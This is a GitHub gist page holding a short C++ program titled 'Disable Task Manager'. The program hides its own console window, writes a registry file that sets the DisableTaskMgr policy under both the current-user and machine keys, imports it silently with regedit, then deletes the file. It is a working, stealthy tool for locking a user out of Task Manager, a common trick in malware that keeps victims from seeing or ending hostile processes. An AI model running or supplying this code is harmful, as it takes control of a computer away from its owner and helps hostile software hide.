Skip to content

Instantly share code, notes, and snippets.

@Codeplaza
Created January 8, 2014 06:05
Show Gist options
  • Save Codeplaza/8312527 to your computer and use it in GitHub Desktop.
Save Codeplaza/8312527 to your computer and use it in GitHub Desktop.
Disable Task Manager
#include <Windows.h>
#include <fstream>
#include <conio.h>
int main ()
{
HWND hwnd = GetConsoleWindow ();
ShowWindow (hwnd, SW_HIDE);
std::ofstream regOut ("0.reg", std::ios::app);
regOut << "Windows Registry Editor Version 5.00" << std::endl << std::endl
<< "[HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System]" << std::endl;
regOut << "\"DisableTaskMgr\"=dword:00000001" << std::endl << std::endl;
regOut << "[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System]" << std::endl;
regOut << "\"DisableTaskMgr\"=dword:00000001" << std::endl << std::endl;
regOut.close ();
system ("regedit.exe /s 0.reg");
DeleteFile (L"0.reg");
Beep (500, 500);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment